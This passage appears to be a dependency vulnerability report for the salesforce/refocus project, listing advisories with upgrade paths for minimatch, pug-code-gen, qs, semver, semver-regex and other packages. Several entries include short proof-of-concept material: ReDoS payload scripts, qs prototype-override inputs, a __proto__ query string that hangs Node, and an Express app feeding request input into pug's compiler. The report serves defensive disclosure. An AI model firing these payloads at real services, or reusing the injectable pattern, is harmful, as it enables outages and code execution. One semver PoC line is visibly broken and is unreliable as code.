By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: gulp@3.9.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 minimatch@2.0.10
    Remediation: Open PR to patch minimatch@2.0.10.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 minimatch@2.0.10
    Remediation: Upgrade to gulp@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 minimatch@0.2.14
    Remediation: Open PR to patch minimatch@0.2.14.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 glob@3.1.21 minimatch@0.2.14
    Remediation: Open PR to patch minimatch@0.2.14.

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.2 or higher.

References

high severity

Improper Control of Generation of Code ('Code Injection')

  • Vulnerable module: pug-code-gen
  • Introduced through: pug@2.0.4 and kue@0.11.6

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af pug@2.0.4 pug-code-gen@2.0.3
    Remediation: Upgrade to pug@3.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af kue@0.11.6 pug@2.0.4 pug-code-gen@2.0.3

Overview

pug-code-gen is a Default code-generator for pug. It generates HTML via a JavaScript template function.

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') via the name option of the compileClient, compileFileClient, or compileClientWithDependenciesTracked functions. An attacker can execute arbitrary JavaScript code by providing untrusted input.

Note:

These functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.

PoC

const express = require("express")
const pug = require("pug")
const runtimeWrap = require('pug-runtime/wrap');

const PORT = 3000

const app = express()

app.get("/", (req, res) => {
  const out = runtimeWrap(pug.compileClient('string of pug', req.query))
  res.send(out())
})

app.listen(PORT, () => {
  console.log(`Server is running on port ${PORT}`)
})

Remediation

Upgrade pug-code-gen to version 3.0.3 or higher.

References

high severity

Prototype Override Protection Bypass

  • Vulnerable module: qs
  • Introduced through: swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 body-parser@1.12.4 qs@2.4.2
    Remediation: Upgrade to swagger-tools@0.10.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 qs@4.0.0
    Remediation: Upgrade to swagger-tools@0.10.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 superagent@1.8.5 qs@2.3.3
    Remediation: Upgrade to swagger-tools@0.10.2.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.

From qs documentation:

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.

In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.

Example:

qs.parse('toString=foo', { allowPrototypes: false })
// {}

qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten

For more information, you can check out our blog.

Disclosure Timeline

  • February 13th, 2017 - Reported the issue to package owner.
  • February 13th, 2017 - Issue acknowledged by package owner.
  • February 16th, 2017 - Partial fix released in versions 6.0.3, 6.1.1, 6.2.2, 6.3.1.
  • March 6th, 2017 - Final fix released in versions 6.4.0,6.3.2, 6.2.3, 6.1.2 and 6.0.4

Remediation

Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.

References

high severity

Prototype Poisoning

  • Vulnerable module: qs
  • Introduced through: swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 body-parser@1.12.4 qs@2.4.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 qs@4.0.0
    Remediation: Upgrade to swagger-tools@0.10.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 superagent@1.8.5 qs@2.3.3
    Remediation: Upgrade to swagger-tools@0.10.2.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.

Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: gulp@3.9.1, pg@7.18.2 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 semver@4.3.6
    Remediation: Upgrade to gulp@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af pg@7.18.2 semver@4.3.2
    Remediation: Upgrade to pg@8.4.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af pgtools@0.3.0 pg@6.4.2 semver@4.3.2
    Remediation: Upgrade to pgtools@0.3.1.

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver-regex
  • Introduced through: semver-regex@1.0.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af semver-regex@1.0.0
    Remediation: Upgrade to semver-regex@3.1.3.

Overview

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can occur when running the regex on untrusted user input in a server context.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver-regex to version 4.0.1, 3.1.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver-regex
  • Introduced through: semver-regex@1.0.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af semver-regex@1.0.0
    Remediation: Upgrade to semver-regex@3.1.3.

Overview

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). semverRegex function contains a regex that allows exponential backtracking.

PoC

import semverRegex from 'semver-regex';

// The following payload would take excessive CPU cycles
var payload = '0.0.0-0' + '.-------'.repeat(100000) + '@';
semverRegex().test(payload);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver-regex to version 3.1.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: unset-value
  • Introduced through: npm-watch@0.1.9, gulp@3.9.1 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

high severity

Signature Validation Bypass

  • Vulnerable module: xml-crypto
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-crypto@0.8.5
    Remediation: Upgrade to passport-saml@1.4.0.

Overview

xml-crypto is a xml digital signature and encryption library for Node.js.

Affected versions of this package are vulnerable to Signature Validation Bypass. An attacker can inject an HMAC-SHA1 signature that is valid using only knowledge of the RSA public key. This allows bypassing signature validation.

Remediation

Upgrade xml-crypto to version 2.0.0 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: adm-zip
  • Introduced through: adm-zip@0.4.11

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af adm-zip@0.4.11
    Remediation: Upgrade to adm-zip@0.5.2.

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Directory Traversal. It could extract files outside the target folder.

Details

